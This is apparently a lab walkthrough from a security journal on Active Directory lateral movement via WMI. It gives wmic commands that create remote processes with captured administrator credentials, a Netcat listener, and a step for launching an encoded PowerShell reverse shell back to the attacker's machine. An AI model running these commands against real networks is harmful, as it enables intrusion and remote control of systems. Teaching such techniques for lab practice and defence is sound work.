Active Directory / ARTICLE

Lateral Movement via WMI

بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار

intro

WMI ⇒ framework for managing data and operations on Windows-based operating systems.it allow Remote Management: Executing commands or gathering diagnostics on machines across a corporate network.

WMI works over the RPC (Remote Procedure Call) protocol, so you need to make sure that this service is running and that its status is Running in order to manage the system remotely.

The idea here is simple: RPC creates a process on the machine you want to attack remotely.

There’s also an important point:\
The credentials you’re using must belong to an administrator.

For example, in today’s scenario, from the hacker user’s machine, we’ll use WMI to perform lateral movement to WS03. Therefore, we’ll need administrator credentials. In the previous phases, we managed to obtain the credentials of victim1, who is already an administrator on WS03, making those credentials suitable for using WMI.

Using the credentials we previously obtained for victim2, we’ll log in to WS01 (the attacker’s machine), and then we’ll perform lateral movement to WS03.


Attack Flow

From WS01

We’ll log in to the hacker user’s machine (WS01) using the credentials of victim1, who is an administrator on the target machine we want to perform lateral movement to (WS03).

And it will also log in to WS03 using the victim1 account.

Get WS03 IP ⇒ Victim1 can obtain the IP address because they are already an administrator on that machine.

nslookup WS03
wmic /node:<ip> /user:<user> /password:<pass> process call create <"process_name">
wmic /node:192.168.186.135 /user:victim1 /password:Passw0rd1 process call create "notepad.exe"

https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic

Now, we want to create a process, such as Notepad, remotely on WS03 using victim1’s credentials.

Do you know what the ReturnValue = 0 shown in the output means? ⇒ It means that the process was created successfully and is running with SYSTEM privileges.

from WS03

open Task Explorer and look notepad.exe

From WS01

reverse shell Using Netcat

What we’ll do is leverage WMI to establish a reverse shell, making WS03 connect back to WS01. However, first you need to make WS01 listen on a specific port. To start the listener, you can use a tool such as Netcat.

.\nc64.exe -nvlp 443

Now we’ll create a reverse shell using PowerShell, and we’ll use the following link as a reference.However, you’ll need to change the IP address to the IP of WS01 and specify the port on which the listener is running, so that when the connection comes from WS03, it connects back to the IP address and port where the listener is listening.

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#openssl

attacker’s ip

reverse shell

{% file src=”/files/1qo2X5DGoy6e7JvS9oEI” %}

We’ll run it in an online compiler and take the reverse shell after it has been Base64-encoded. This step is done to avoid the issues we might encounter otherwise.

{% file src=”/files/waHBszPfB7yH1OiIGvhj” %}

run reverse shell on WS03 Using victim1’s Credentials

wmic /node:192.168.186.135 /user:victim1 /password:Passw0rd1 process call create '<encoded reverse shell here>'

From WS03


Resources

https://www.ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement

https://redcanary.com/blog/threat-detection/lateral-movement-winrm-wmi/

https://www.cybereason.com/blog/wmi-lateral-movement-win32


سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك
← All journal articles
Scroll to Top
Home